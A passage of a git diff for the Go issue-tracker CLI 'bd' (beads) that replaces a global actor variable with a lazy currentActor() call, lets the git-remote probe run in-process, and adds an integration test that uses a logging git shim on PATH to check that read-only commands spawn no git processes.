diff --git a/cmd/bd/prime.go b/cmd/bd/prime.go index adec80396..f314fcb4a 100644 --- a/cmd/bd/prime.go +++ b/cmd/bd/prime.go @@ -17,6 +17,7 @@ import ( "github.com/steveyegge/beads" internalbeads "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/config" + "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/memoryops" ) @@ -303,10 +304,16 @@ func primeWorkspaceDir() string { // failure falls back to a cwd probe instead of propagating — so this no // longer returns an error. If a future caller needs one, reintroduce it then. func primeGitCmd(ctx context.Context, args ...string) *exec.Cmd { + cmd := exec.CommandContext(ctx, "git", args...) + cmd.Dir = primeGitDir() + return cmd +} + +// primeGitDir is the directory primeGitCmd runs git in ("" for the process +// cwd): the -C target, else the cwd repository root from the RepoContext. +func primeGitDir() string { if ws := primeWorkspaceDir(); ws != "" { - cmd := exec.CommandContext(ctx, "git", args...) - cmd.Dir = ws - return cmd + return ws } rc, err := internalbeads.GetRepoContext() if err != nil { @@ -317,9 +324,9 @@ func primeGitCmd(ctx context.Context, args ...string) *exec.Cmd { // workspace, so probe it directly instead of giving up. The SEC-003 // boundary on BEADS_DIR stays enforced by the callers that consume // BEADS_DIR itself; these probes only ask git about its own workspace. - return exec.CommandContext(ctx, "git", args...) + return "" } - return rc.GitCmdCWD(ctx, args...) + return rc.CWDRepoRoot // GitCmdCWD's directory; "" leaves the process cwd } // outputHookJSON wraps content in the SessionStart hook JSON envelope shared @@ -422,8 +429,18 @@ var primeAgentProfile = func() config.AgentProfile { // `git remote` in the workspace succeeds. primeGitCmd supplies that fallback, // which keeps the -C behavior above intact. The SEC-003 boundary on BEADS_DIR // remains enforced elsewhere. +// +// The probe runs on every command in an embedded workspace whose +// backup.enabled is unset (isBackupAutoEnabled), so it is answered from the +// config files when git.HasRemoteInProcess can prove the answer, and by +// `git remote` otherwise. var primeHasGitRemote = func() bool { - cmd := primeGitCmd(context.Background(), "remote") + dir := primeGitDir() + if has, ok := git.HasRemoteInProcess(dir); ok { + return has + } + cmd := exec.CommandContext(context.Background(), "git", "remote") + cmd.Dir = dir out, err := cmd.Output() if err != nil { return false diff --git a/cmd/bd/priority.go b/cmd/bd/priority.go index 481afecec..66a633e71 100644 --- a/cmd/bd/priority.go +++ b/cmd/bd/priority.go @@ -78,10 +78,10 @@ Examples: updates := map[string]interface{}{ "priority": priority, } - if err := issueStore.UpdateIssue(ctx, result.ResolvedID, updates, actor); err != nil { + if err := issueStore.UpdateIssue(ctx, result.ResolvedID, updates, currentActor()); err != nil { return HandleErrorRespectJSON("updating %s: %v", id, err) } - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "priority", IssueIDs: []string{result.ResolvedID}, }); err != nil { diff --git a/cmd/bd/promote.go b/cmd/bd/promote.go index b1238abbf..44a42eea0 100644 --- a/cmd/bd/promote.go +++ b/cmd/bd/promote.go @@ -97,13 +97,13 @@ Examples: return HandleErrorRespectJSON("%s is not a wisp (already persistent)", fullID) } - if err := store.PromoteFromEphemeral(ctx, fullID, actor); err != nil { + if err := store.PromoteFromEphemeral(ctx, fullID, currentActor()); err != nil { return HandleErrorRespectJSON("promoting %s: %v", fullID, err) } // Add promotion comment (issue is now in permanent table, AddComment routes correctly // via GetIssue fallback) - if err := store.AddComment(ctx, fullID, actor, promotionComment(reason)); err != nil { + if err := store.AddComment(ctx, fullID, currentActor(), promotionComment(reason)); err != nil { fmt.Fprintf(os.Stderr, "Warning: failed to add promotion comment to %s: %v\n", fullID, err) } diff --git a/cmd/bd/promote_proxied_server.go b/cmd/bd/promote_proxied_server.go index edadce2d5..38f6fb547 100644 --- a/cmd/bd/promote_proxied_server.go +++ b/cmd/bd/promote_proxied_server.go @@ -62,10 +62,10 @@ func runPromoteProxiedServer(ctx context.Context, id, reason string) error { } err = uow.RunTx(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (string, error) { - if err := uw.IssueUseCase().PromoteWisp(ctx, fullID, actor); err != nil { + if err := uw.IssueUseCase().PromoteWisp(ctx, fullID, currentActor()); err != nil { return "", err } - if _, err := uw.CommentUseCase().AddCommentToIssue(ctx, fullID, actor, promotionComment(reason)); err != nil { + if _, err := uw.CommentUseCase().AddCommentToIssue(ctx, fullID, currentActor(), promotionComment(reason)); err != nil { return "", fmt.Errorf("adding promotion comment: %w", err) } return fmt.Sprintf("bd: promote %s", fullID), nil diff --git a/cmd/bd/purge.go b/cmd/bd/purge.go index 0337db793..cead0ae98 100644 --- a/cmd/bd/purge.go +++ b/cmd/bd/purge.go @@ -165,7 +165,7 @@ func runPurgeOrPrune(cmd *cobra.Command, scope purgeScope) error { } request := issueops.SweepRequest{ - Actor: actor, + Actor: currentActor(), Tier: scope.tier, IDPattern: pattern, ProtectReferenced: scope.protectReferenced, diff --git a/cmd/bd/quick.go b/cmd/bd/quick.go index a0cdbf550..e9ab99c03 100644 --- a/cmd/bd/quick.go +++ b/cmd/bd/quick.go @@ -94,7 +94,7 @@ Example: // The issue and its parent-child edge commit in one transaction; a // failed edge rolls back the create instead of leaving a dep-less // child behind (same contract as bd create). - if err := createIssueWithDeps(ctx, store, issue, actor, createDepEdges{parentID: parentID}); err != nil { + if err := createIssueWithDeps(ctx, store, issue, currentActor(), createDepEdges{parentID: parentID}); err != nil { return HandleError("%v", err) } diff --git a/cmd/bd/quick_proxied_server.go b/cmd/bd/quick_proxied_server.go index 3035863bb..46ab79c62 100644 --- a/cmd/bd/quick_proxied_server.go +++ b/cmd/bd/quick_proxied_server.go @@ -47,7 +47,7 @@ func runQuickProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin Labels: labels, InheritLabelsFromParent: parentID != "", } - result, err := uw.IssueUseCase().CreateIssue(ctx, params, actor) + result, err := uw.IssueUseCase().CreateIssue(ctx, params, currentActor()) if err != nil { return nil, "", err } diff --git a/cmd/bd/ready.go b/cmd/bd/ready.go index babcefa35..7e7e8aacf 100644 --- a/cmd/bd/ready.go +++ b/cmd/bd/ready.go @@ -159,7 +159,7 @@ This is useful for agents executing molecules to see which steps can run next.`, return nil } claimed := res.Claimed - if err := commitPendingIfEmbedded(ctx, activeStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, activeStore, currentActor(), doltAutoCommitParams{ Command: "ready", IssueIDs: []string{claimed.ID}, }); err != nil { diff --git a/cmd/bd/ready_input.go b/cmd/bd/ready_input.go index 0643ae3bd..e55a830c4 100644 --- a/cmd/bd/ready_input.go +++ b/cmd/bd/ready_input.go @@ -260,7 +260,7 @@ func readyRoleRequest(in readyInput) issueops.ReadyRequest { // claimNextRequest is `bd ready --claim`'s request to the ReadyClaimer role: // the shared ready question above, plus the claimant. func claimNextRequest(in readyInput) issueops.ClaimNextRequest { - return issueops.ClaimNextRequest{Actor: actor, Filter: readyRoleRequest(in)} + return issueops.ClaimNextRequest{Actor: currentActor(), Filter: readyRoleRequest(in)} } // briefModeConflict reports the usage error for a --brief combination that no diff --git a/cmd/bd/reclaim.go b/cmd/bd/reclaim.go index 34b40d98b..2a5262d99 100644 --- a/cmd/bd/reclaim.go +++ b/cmd/bd/reclaim.go @@ -104,7 +104,7 @@ Examples: } ctx := rootCtx - reclaimed, err := store.ReclaimExpiredLeases(ctx, olderThan, filter, actor) + reclaimed, err := store.ReclaimExpiredLeases(ctx, olderThan, filter, currentActor()) if err != nil { return HandleErrorRespectJSON("reclaim: %v", err) } @@ -113,7 +113,7 @@ Examples: for _, r := range reclaimed { ids = append(ids, r.ID) } - if err := commitPendingIfEmbedded(ctx, store, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, store, currentActor(), doltAutoCommitParams{ Command: "reclaim", IssueIDs: ids, }); err != nil { diff --git a/cmd/bd/relate.go b/cmd/bd/relate.go index 987ccdff9..f87f644d4 100644 --- a/cmd/bd/relate.go +++ b/cmd/bd/relate.go @@ -111,7 +111,7 @@ func runRelate(cmd *cobra.Command, args []string) error { } // bd relate is an explicit dependency verb, so it records history like // bd link / bd dep add (EmitEvent); only structural edge wiring stays silent. - if err := store.AddDependencyWithOptions(ctx, dep1, actor, storage.DependencyAddOptions{EmitEvent: true}); err != nil { + if err := store.AddDependencyWithOptions(ctx, dep1, currentActor(), storage.DependencyAddOptions{EmitEvent: true}); err != nil { return fmt.Errorf("failed to add relates-to %s -> %s: %w", id1, id2, err) } // Add id2 -> id1 (bidirectional) @@ -120,7 +120,7 @@ func runRelate(cmd *cobra.Command, args []string) error { DependsOnID: id1, Type: types.DepRelatesTo, } - if err := store.AddDependencyWithOptions(ctx, dep2, actor, storage.DependencyAddOptions{EmitEvent: true}); err != nil { + if err := store.AddDependencyWithOptions(ctx, dep2, currentActor(), storage.DependencyAddOptions{EmitEvent: true}); err != nil { return fmt.Errorf("failed to add relates-to %s -> %s: %w", id2, id1, err) } @@ -190,11 +190,11 @@ func runUnrelate(cmd *cobra.Command, args []string) error { // bd unrelate is an explicit dependency verb, so it records history // (EmitEvent) like bd dep remove; only structural teardown stays silent. // Remove id1 -> id2 - if err := store.RemoveDependencyWithOptions(ctx, id1, id2, actor, storage.DependencyRemoveOptions{EmitEvent: true}); err != nil { + if err := store.RemoveDependencyWithOptions(ctx, id1, id2, currentActor(), storage.DependencyRemoveOptions{EmitEvent: true}); err != nil { return fmt.Errorf("failed to remove relates-to %s -> %s: %w", id1, id2, err) } // Remove id2 -> id1 (bidirectional) - if err := store.RemoveDependencyWithOptions(ctx, id2, id1, actor, storage.DependencyRemoveOptions{EmitEvent: true}); err != nil { + if err := store.RemoveDependencyWithOptions(ctx, id2, id1, currentActor(), storage.DependencyRemoveOptions{EmitEvent: true}); err != nil { return fmt.Errorf("failed to remove relates-to %s -> %s: %w", id2, id1, err) } diff --git a/cmd/bd/relate_proxied_server.go b/cmd/bd/relate_proxied_server.go index 601b1a30d..34a6d688f 100644 --- a/cmd/bd/relate_proxied_server.go +++ b/cmd/bd/relate_proxied_server.go @@ -66,7 +66,7 @@ func runRelateProxiedServer(ctx context.Context, args []string) error { } // bd relate is an explicit dependency verb, so the bulk path's // EmitEvent trail matches the direct route's history behavior. - if _, err := uw.DependencyUseCase().AddDependencies(ctx, deps, actor, domain.BulkAddDepsOpts{}); err != nil { + if _, err := uw.DependencyUseCase().AddDependencies(ctx, deps, currentActor(), domain.BulkAddDepsOpts{}); err != nil { return "", err } return fmt.Sprintf("bd: relate %s %s", id1, id2), nil @@ -111,11 +111,11 @@ func runUnrelateProxiedServer(ctx context.Context, args []string) error { return "", fmt.Errorf("issue not found: %s", id) } } - removed1, err := uw.DependencyUseCase().RemoveDependencyBySource(ctx, id1, id2, actor) + removed1, err := uw.DependencyUseCase().RemoveDependencyBySource(ctx, id1, id2, currentActor()) if err != nil { return "", fmt.Errorf("failed to remove relates-to %s -> %s: %w", id1, id2, err) } - removed2, err := uw.DependencyUseCase().RemoveDependencyBySource(ctx, id2, id1, actor) + removed2, err := uw.DependencyUseCase().RemoveDependencyBySource(ctx, id2, id1, currentActor()) if err != nil { return "", fmt.Errorf("failed to remove relates-to %s -> %s: %w", id2, id1, err) } diff --git a/cmd/bd/rename_prefix.go b/cmd/bd/rename_prefix.go index 0ff1c8c91..68936732b 100644 --- a/cmd/bd/rename_prefix.go +++ b/cmd/bd/rename_prefix.go @@ -112,7 +112,7 @@ NOTE: This is a rare operation. Most users never need this command.`, ) } - if err := repairPrefixes(ctx, store, actor, newPrefix, issues, prefixes, dryRun); err != nil { + if err := repairPrefixes(ctx, store, currentActor(), newPrefix, issues, prefixes, dryRun); err != nil { return HandleError("failed to repair prefixes: %v", err) } if !dryRun { @@ -456,7 +456,7 @@ func renamePrefixInDB(ctx context.Context, oldPrefix, newPrefix string, issues [ continue } - if err := renameIssueKeepingBeadGates(ctx, store, issue, newID, gates[oldID], actor); err != nil { + if err := renameIssueKeepingBeadGates(ctx, store, issue, newID, gates[oldID], currentActor()); err != nil { return fmt.Errorf("failed to update issue %s: %w", oldID, err) } } diff --git a/cmd/bd/reopen.go b/cmd/bd/reopen.go index 6bdb3f7cd..6a6635e23 100644 --- a/cmd/bd/reopen.go +++ b/cmd/bd/reopen.go @@ -96,7 +96,7 @@ another actor won the race, so retrying the same guard is pointless).`, continue } reopened, err := ops.Reopen(opsCtx, issueops.ReopenRequest{ - Actor: actor, + Actor: currentActor(), IssueID: fullID, Reason: reason, ExpectedVersion: ifRevision, @@ -150,7 +150,7 @@ another actor won the race, so retrying the same guard is pointless).`, } for s, ids := range mutatedStores { - if err := commitPendingIfEmbedded(ctx, s, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, s, currentActor(), doltAutoCommitParams{ Command: "reopen", IssueIDs: ids, }); err != nil { diff --git a/cmd/bd/reopen_proxied_server.go b/cmd/bd/reopen_proxied_server.go index a9fadd638..e61f85a22 100644 --- a/cmd/bd/reopen_proxied_server.go +++ b/cmd/bd/reopen_proxied_server.go @@ -66,7 +66,7 @@ func runReopenProxiedServer(cmd *cobra.Command, ctx context.Context, args []stri reopenedIssues := []*types.Issue{} for _, target := range targets { result, err := lifecycle.Reopen(ctx, issueops.ReopenRequest{ - Actor: actor, + Actor: currentActor(), IssueID: target.id, Reason: reason, ExpectedVersion: ifRevision, @@ -94,7 +94,7 @@ func runReopenProxiedServer(cmd *cobra.Command, ctx context.Context, args []stri continue } - audit.LogFieldChange(target.id, "status", string(target.status), string(types.StatusOpen), actor, reason) + audit.LogFieldChange(target.id, "status", string(target.status), string(types.StatusOpen), currentActor(), reason) if jsonOut { if issue := result.Issue; issue != nil { // `bd reopen` has never printed dependency records, on either diff --git a/cmd/bd/ship.go b/cmd/bd/ship.go index a8c0908ed..9e56be5bd 100644 --- a/cmd/bd/ship.go +++ b/cmd/bd/ship.go @@ -127,7 +127,7 @@ func runShip(cmd *cobra.Command, args []string) error { return nil } - if err := store.AddLabel(ctx, issue.ID, providesLabel, actor); err != nil { + if err := store.AddLabel(ctx, issue.ID, providesLabel, currentActor()); err != nil { return HandleErrorRespectJSON("adding label: %v", err) } diff --git a/cmd/bd/startup_git_exec_embedded_test.go b/cmd/bd/startup_git_exec_embedded_test.go new file mode 100644 index 000000000..a74194207 --- /dev/null +++ b/cmd/bd/startup_git_exec_embedded_test.go @@ -0,0 +1,176 @@ +//go:build cgo && linux + +package main + +import ( + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// gitExecRecorder puts a `git` shim first on PATH that logs each invocation's +// arguments and then runs the real git, so a test can count the git processes +// a bd subprocess spawns. +type gitExecRecorder struct { + shimDir, log string +} + +func newGitExecRecorder(t *testing.T) *gitExecRecorder { + t.Helper() + realGit, err := exec.LookPath("git") + if err != nil { + t.Skipf("git not found: %v", err) + } + r := &gitExecRecorder{shimDir: t.TempDir()} + r.log = filepath.Join(r.shimDir, "git-calls.log") + script := "#!/bin/sh\nprintf '%s\\n' \"$*\" >> '" + r.log + "'\nexec '" + realGit + "' \"$@\"\n" + if err := os.WriteFile(filepath.Join(r.shimDir, "git"), []byte(script), 0o755); err != nil { // #nosec G306 -- test shim must be executable + t.Fatal(err) + } + return r +} + +// run runs bd in dir with the shim on PATH and returns stdout plus the git +// invocations it made. +func (r *gitExecRecorder) run(t *testing.T, bd, dir string, args ...string) (string, []string) { + t.Helper() + if err := os.Remove(r.log); err != nil && !os.IsNotExist(err) { + t.Fatal(err) + } + cmd := exec.Command(bd, args...) + cmd.Dir = dir + // Drop every GIT_* variable but the config-file selectors: any of + // internal/git's discovery overrides (GIT_DIR, GIT_WORK_TREE, + // GIT_COMMON_DIR, GIT_CEILING_DIRECTORIES, GIT_DISCOVERY_ACROSS_FILESYSTEM, + // GIT_OBJECT_DIRECTORY, GIT_CONFIG_PARAMETERS, GIT_CONFIG_COUNT with its + // GIT_CONFIG_KEY_n/VALUE_n, ...) exported by the runner — a `git -c` + // wrapper, a hook context — would rightly send bd back to git rev-parse. + var env []string + for _, kv := range envWithout(envWithout(bdEnv(dir), "BD_ACTOR"), "PATH") { + name, _, _ := strings.Cut(kv, "=") + if strings.HasPrefix(name, "GIT_") && name != "GIT_CONFIG_GLOBAL" && + name != "GIT_CONFIG_SYSTEM" && name != "GIT_CONFIG_NOSYSTEM" { + continue + } + env = append(env, kv) + } + // backup.enabled stays at its default, so embedded auto-backup asks + // whether a git remote exists after every command (isBackupAutoEnabled). + // Global and system git config are pinned (empty, none) so the answer + // does not depend on the host's ~/.gitconfig — an include there would + // rightly send that probe to `git remote`. + env = envWithout(envWithout(env, "BD_BACKUP_ENABLED"), "BEADS_BACKUP_ENABLED") + for _, name := range []string{"GIT_CONFIG_GLOBAL", "GIT_CONFIG_SYSTEM", "GIT_CONFIG_NOSYSTEM"} { + env = envWithout(env, name) + } + emptyGlobal := filepath.Join(r.shimDir, "empty.gitconfig") + if err := os.WriteFile(emptyGlobal, nil, 0o600); err != nil { + t.Fatal(err) + } + cmd.Env = append(env, "GIT_CONFIG_GLOBAL="+emptyGlobal, "GIT_CONFIG_NOSYSTEM=1", + "PATH="+r.shimDir+string(os.PathListSeparator)+os.Getenv("PATH")) + out, err := cmd.Output() + if err != nil { + var stderr string + if exit, ok := err.(*exec.ExitError); ok { + stderr = string(exit.Stderr) + } + t.Fatalf("bd %s: %v\nstdout:\n%s\nstderr:\n%s", strings.Join(args, " "), err, out, stderr) + } + data, err := os.ReadFile(r.log) + if err != nil && !os.IsNotExist(err) { + t.Fatal(err) + } + var calls []string + for _, line := range strings.Split(strings.TrimSpace(string(data)), "\n") { + if line != "" { + calls = append(calls, line) + } + } + return string(out), calls +} + +// TestEmbeddedReadOnlyCommandsSpawnNoGit pins the per-call cost tools that +// call bd by the hundred depend on: a read-only command resolves the +// repository in-process, never needs the actor, and decides embedded +// auto-backup (default backup.enabled, with and without a git remote) without +// git, so it runs no git at all — from the main checkout and from a linked +// worktree sharing its database. A write still resolves the actor from git +// config user.name, lazily and to the same value. +func TestEmbeddedReadOnlyCommandsSpawnNoGit(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "gx") + issue := bdCreate(t, bd, dir, "startup git probe") + + worktree := filepath.Join(filepath.Dir(dir), filepath.Base(dir)+"-wt") + t.Cleanup(func() { _ = os.RemoveAll(worktree) }) + noHooks := "core.hooksPath=" + t.TempDir() // keep bd's installed hooks out of fixture setup + for _, args := range [][]string{ + {"-c", noHooks, "commit", "--allow-empty", "--no-verify", "-m", "base"}, + {"-c", noHooks, "worktree", "add", "-q", worktree}, + } { + cmd := gitCommand(args...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("git %s: %v\n%s", strings.Join(args, " "), err, out) + } + } + + rec := newGitExecRecorder(t) + reads := func(phase string) { + t.Helper() + for _, location := range []struct{ name, dir string }{ + {"main checkout", dir}, + {"linked worktree", worktree}, + } { + for _, args := range [][]string{ + {"list", "--json"}, + {"show", issue.ID, "--json"}, + } { + out, calls := rec.run(t, bd, location.dir, args...) + if !strings.Contains(out, issue.ID) { + t.Fatalf("%s, %s: bd %s did not find %s:\n%s", phase, location.name, args[0], issue.ID, out) + } + if len(calls) != 0 { + t.Errorf("%s, %s: bd %s spawned %d git process(es), want 0:\n%s", + phase, location.name, args[0], len(calls), strings.Join(calls, "\n")) + } + } + } + } + // No git remote: auto-backup stays off, decided without running git. + reads("no git remote") + // With a remote, auto-backup turns on (still decided in-process); the + // first read may run the backup itself, which needs no git either. + addRemote := gitCommand("remote", "add", "origin", "https://example.invalid/gitcalls.git") + addRemote.Dir, addRemote.Env = dir, bdEnv(dir) + if out, err := addRemote.CombinedOutput(); err != nil { + t.Fatalf("git remote add: %v\n%s", err, out) + } + reads("git remote configured") + + // Positive control for the shim, and the deferred actor's value: a write + // asks git for user.name exactly once and records it as before. + out, calls := rec.run(t, bd, dir, "create", "--json", "lazy actor") + created := parseIssueJSON(t, []byte(out)) + if created.CreatedBy != "Test" { + t.Errorf("created_by = %q, want git user.name %q", created.CreatedBy, "Test") + } + nameLookups := 0 + for _, call := range calls { + if call == "config user.name" { + nameLookups++ + } + } + if nameLookups != 1 { + t.Errorf("bd create ran `git config user.name` %d times, want 1; calls:\n%s", nameLookups, strings.Join(calls, "\n")) + } +} diff --git a/cmd/bd/state.go b/cmd/bd/state.go index a3ad36623..b689b0f28 100644 --- a/cmd/bd/state.go +++ b/cmd/bd/state.go @@ -226,7 +226,7 @@ func runSetState(ctx context.Context, issueID, dimension, newValue, reason strin // could not write, so an event that disagreed with its subject's plane // fails the command instead of silently landing in the wrong table. created, err := lifecycle.Create(ctx, issueops.CreateRequest{ - Actor: actor, + Actor: currentActor(), Issue: &types.Issue{ Title: eventTitle, Description: eventDesc, @@ -254,7 +254,7 @@ func runSetState(ctx context.Context, issueID, dimension, newValue, reason strin // failed. The plane needs no branch: IssuePlaneOnly stays false and the // role resolves it inside its own transaction. if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ - Actor: actor, + Actor: currentActor(), IssueID: fullID, Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{ Add: []string{newLabel}, diff --git a/cmd/bd/status.go b/cmd/bd/status.go index 855f67679..f5deaac38 100644 --- a/cmd/bd/status.go +++ b/cmd/bd/status.go @@ -88,7 +88,7 @@ Examples: // --no-blocked is not consulted here, and never was: an // assignee-scoped summary computes both numbers by a route that has // no fast path (issueops.StatsReporter.AssigneeStats). - result, err = reporter.AssigneeStats(rootCtx, issueops.AssigneeStatsRequest{Assignee: actor}) + result, err = reporter.AssigneeStats(rootCtx, issueops.AssigneeStatsRequest{Assignee: currentActor()}) } else { result, err = reporter.Stats(rootCtx, issueops.StatsRequest{SkipBlocked: noBlocked}) if err == nil && noBlocked && result.Summary.BlockedIssues != nil { diff --git a/cmd/bd/swarm.go b/cmd/bd/swarm.go index 996eefc40..9d066a023 100644 --- a/cmd/bd/swarm.go +++ b/cmd/bd/swarm.go @@ -1001,10 +1001,10 @@ Examples: Status: types.StatusOpen, Priority: issue.Priority, IssueType: types.TypeEpic, - CreatedBy: actor, + CreatedBy: currentActor(), } - if err := store.CreateIssue(ctx, wrapperEpic, actor); err != nil { + if err := store.CreateIssue(ctx, wrapperEpic, currentActor()); err != nil { return HandleErrorRespectJSON("failed to create wrapper epic: %v", err) } @@ -1012,9 +1012,9 @@ Examples: IssueID: issue.ID, DependsOnID: wrapperEpic.ID, Type: types.DepParentChild, - CreatedBy: actor, + CreatedBy: currentActor(), } - if err := store.AddDependency(ctx, dep, actor); err != nil { + if err := store.AddDependency(ctx, dep, currentActor()); err != nil { return HandleErrorRespectJSON("failed to link issue to epic: %v", err) } @@ -1081,10 +1081,10 @@ Examples: IssueType: "molecule", MolType: types.MolTypeSwarm, Assignee: coordinator, - CreatedBy: actor, + CreatedBy: currentActor(), } - if err := store.CreateIssue(ctx, swarmMol, actor); err != nil { + if err := store.CreateIssue(ctx, swarmMol, currentActor()); err != nil { return HandleErrorRespectJSON("failed to create swarm molecule: %v", err) } @@ -1092,9 +1092,9 @@ Examples: IssueID: swarmMol.ID, DependsOnID: epicID, Type: types.DepRelatesTo, - CreatedBy: actor, + CreatedBy: currentActor(), } - if err := store.AddDependency(ctx, dep, actor); err != nil { + if err := store.AddDependency(ctx, dep, currentActor()); err != nil { return HandleErrorRespectJSON("failed to link swarm to epic: %v", err) } diff --git a/cmd/bd/sync_push_pull.go b/cmd/bd/sync_push_pull.go index 63a2263ff..0e6b289da 100644 --- a/cmd/bd/sync_push_pull.go +++ b/cmd/bd/sync_push_pull.go @@ -272,7 +272,7 @@ func runADOPush(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing Azure DevOps tracker: %w", err) } - engine := tracker.NewEngine(at, store, actor) + engine := tracker.NewEngine(at, store, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } @@ -319,7 +319,7 @@ func runADOPull(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing Azure DevOps tracker: %w", err) } - engine := tracker.NewEngine(at, store, actor) + engine := tracker.NewEngine(at, store, currentActor()) engine.PullHooks = buildADOPullHooks(ctx, at, false, false, new(int), engine.OnWarning) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } @@ -369,7 +369,7 @@ func runJiraPush(cmd *cobra.Command, args []string) error { return HandleError("initializing Jira tracker: %v", err) } - engine := tracker.NewEngine(jt, trackerStore, actor) + engine := tracker.NewEngine(jt, trackerStore, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } engine.PushHooks = buildJiraPushHooksForStore(ctx, trackerStore) @@ -417,7 +417,7 @@ func runJiraPull(cmd *cobra.Command, args []string) error { return HandleError("initializing Jira tracker: %v", err) } - engine := tracker.NewEngine(jt, trackerStore, actor) + engine := tracker.NewEngine(jt, trackerStore, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } @@ -487,7 +487,7 @@ func runLinearPush(cmd *cobra.Command, args []string) error { return HandleError("%v", err) } - engine := tracker.NewEngine(lt, trackerStore, actor) + engine := tracker.NewEngine(lt, trackerStore, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } engine.PushHooks = buildLinearPushHooksForStore(ctx, trackerStore, lt, len(args) > 0) @@ -552,12 +552,12 @@ func runLinearPull(cmd *cobra.Command, args []string) error { return HandleError("initializing Linear tracker: %v", err) } - engine := tracker.NewEngine(lt, trackerStore, actor) + engine := tracker.NewEngine(lt, trackerStore, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } engine.PullHooks = buildLinearPullHooksForStore(ctx, trackerStore, linearPullHookOptions{ DryRun: dryRun, - Actor: actor, + Actor: currentActor(), }) result, err := engine.Sync(ctx, tracker.SyncOptions{ @@ -606,7 +606,7 @@ func runGitHubPush(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing GitHub tracker: %w", err) } - engine := tracker.NewEngine(gt, store, actor) + engine := tracker.NewEngine(gt, store, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } engine.PushHooks = buildGitHubPushHooks(gt) @@ -668,7 +668,7 @@ func runGitHubPull(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing GitHub tracker: %w", err) } - engine := tracker.NewEngine(gt, store, actor) + engine := tracker.NewEngine(gt, store, currentActor()) engine.PullHooks = buildGitHubPullHooks(ctx) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } @@ -719,7 +719,7 @@ func runGitLabPush(cmd *cobra.Command, args []string) error { } out := cmd.OutOrStdout() - engine := tracker.NewEngine(gt, store, actor) + engine := tracker.NewEngine(gt, store, currentActor()) engine.OnMessage = func(msg string) { if !jsonOutput { fmt.Fprintln(out, " "+msg) @@ -821,7 +821,7 @@ func runGitLabPull(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing GitLab tracker: %w", err) } - engine := tracker.NewEngine(gt, store, actor) + engine := tracker.NewEngine(gt, store, currentActor()) engine.PullHooks = buildGitLabPullHooks(ctx) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } @@ -875,7 +875,7 @@ func runNotionPush(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing Notion tracker: %w", err) } - engine := tracker.NewEngine(nt, store, actor) + engine := tracker.NewEngine(nt, store, currentActor()) unsupportedStats := newNotionUnsupportedPushStats() engine.PushHooks = buildNotionPushHooks(ctx, nt, unsupportedStats) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } @@ -929,7 +929,7 @@ func runNotionPull(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing Notion tracker: %w", err) } - engine := tracker.NewEngine(nt, store, actor) + engine := tracker.NewEngine(nt, store, currentActor()) engine.PullHooks = buildNotionPullHooks(ctx) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } diff --git a/cmd/bd/tag.go b/cmd/bd/tag.go index 096b5f66c..02e4db5de 100644 --- a/cmd/bd/tag.go +++ b/cmd/bd/tag.go @@ -67,10 +67,10 @@ Examples: return HandleErrorRespectJSON("%s", err) } - if err := issueStore.AddLabel(ctx, result.ResolvedID, label, actor); err != nil { + if err := issueStore.AddLabel(ctx, result.ResolvedID, label, currentActor()); err != nil { return HandleErrorRespectJSON("adding label to %s: %v", id, err) } - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "tag", IssueIDs: []string{result.ResolvedID}, }); err != nil { diff --git 